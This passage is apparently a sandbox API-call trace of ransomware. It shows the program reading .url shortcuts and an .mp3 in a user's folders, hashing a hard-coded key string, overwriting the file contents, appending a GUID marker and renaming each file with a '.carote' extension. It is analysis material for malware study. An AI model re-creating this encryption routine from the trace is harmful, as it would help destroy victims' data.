hHeap=0x5010000) returned 1 [0112.931] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.931] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x85, lpOverlapped=0x0) returned 1 [0112.931] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.931] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.931] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.931] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.931] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.932] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.932] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.932] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.932] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.932] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.932] GetLastError () returned 0x0 [0112.932] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.932] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.932] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.932] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0112.932] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.932] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.932] WriteFile (in: hFile=0x61c, lpBuffer=0x7a3f060*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7a3f060*, lpNumberOfBytesWritten=0x825fb24*=0x80, lpOverlapped=0x0) returned 1 [0112.932] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0112.932] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.932] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.933] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.933] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.933] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.933] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.933] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.933] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.933] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.933] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.933] CloseHandle (hObject=0x61c) returned 1 [0112.933] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0112.933] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8b0) returned 0x7b182e0 [0112.934] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0112.934] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url.carote")) returned 1 [0112.934] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.934] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.935] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0112.935] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0112.935] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.935] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0112.935] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.935] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url") returned=".url" [0112.935] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.935] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=133) returned 1 [0112.935] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.937] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.937] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.938] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.938] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.938] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.938] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x85, lpOverlapped=0x0) returned 1 [0112.938] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.938] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.938] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.938] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.938] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.939] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.939] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.939] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.939] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.939] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.939] GetLastError () returned 0x0 [0112.939] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.939] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.939] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.939] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0112.939] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.939] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.939] WriteFile (in: hFile=0x61c, lpBuffer=0x7a3f060*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7a3f060*, lpNumberOfBytesWritten=0x825fb24*=0x80, lpOverlapped=0x0) returned 1 [0112.939] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0112.939] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.939] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.939] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.940] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.940] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.940] CloseHandle (hObject=0x61c) returned 1 [0112.940] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url.carote")) returned 1 [0112.941] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.941] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.942] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0112.942] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0112.942] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url") returned=".url" [0112.942] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.943] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=133) returned 1 [0112.943] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.944] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.944] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.945] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x85, lpOverlapped=0x0) returned 1 [0112.945] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.945] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.945] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.945] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.946] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.946] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.946] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.946] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.946] GetLastError () returned 0x0 [0112.946] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.946] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.946] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.946] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.946] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.946] CloseHandle (hObject=0x61c) returned 1 [0112.947] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url.carote")) returned 1 [0112.950] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0 [0112.950] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0112.950] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.950] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.950] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\") returned="dQ7tGsp53IT a50pD3\\" [0112.950] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0112.950] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0112.950] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.950] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0112.950] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.950] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.950] PathFindFileNameW (pszPath="") returned="" [0112.950] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecf90 [0112.950] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8fdbdf0, ftCreationTime.dwHighDateTime=0x1d4d25c, ftLastAccessTime.dwLowDateTime=0xb33d05e0, ftLastAccessTime.dwHighDateTime=0x1d4d140, ftLastWriteTime.dwLowDateTime=0xb33d05e0, ftLastWriteTime.dwHighDateTime=0x1d4d140, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0112.951] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8fdbdf0, ftCreationTime.dwHighDateTime=0x1d4d25c, ftLastAccessTime.dwLowDateTime=0xb33d05e0, ftLastAccessTime.dwHighDateTime=0x1d4d140, ftLastWriteTime.dwLowDateTime=0xb33d05e0, ftLastWriteTime.dwHighDateTime=0x1d4d140, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.951] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36092ab0, ftCreationTime.dwHighDateTime=0x1d4c6f3, ftLastAccessTime.dwLowDateTime=0xe792e520, ftLastAccessTime.dwHighDateTime=0x1d4cf89, ftLastWriteTime.dwLowDateTime=0xe792e520, ftLastWriteTime.dwHighDateTime=0x1d4cf89, nFileSizeHigh=0x0, nFileSizeLow=0xd219, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1bO9BvF.mp3", cAlternateFileName="")) returned 1 [0112.951] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.951] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0112.951] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\1bO9BvF.mp3") returned=".mp3" [0112.951] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\1bO9BvF.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dq7tgsp53it a50pd3\\1bo9bvf.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.952] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=53785) returned 1 [0112.952] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.954] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xd1f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.954] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.955] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.955] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xd219, lpOverlapped=0x0) returned 1 [0112.956] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.956] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.956] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.956] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.956] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.957] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.957] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.957] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.957] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.957] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.957] GetLastError () returned 0x0 [0112.957] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.957] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.957] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.957] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd220) returned 0x7b182e0 [0112.957] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.957] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.957] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0xd214, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0xd214, lpOverlapped=0x0) returned 1 [0112.958] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.958] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xd219, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.958] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.958] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.958] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.958] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.958] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.958] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.958] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.958] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.958] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, 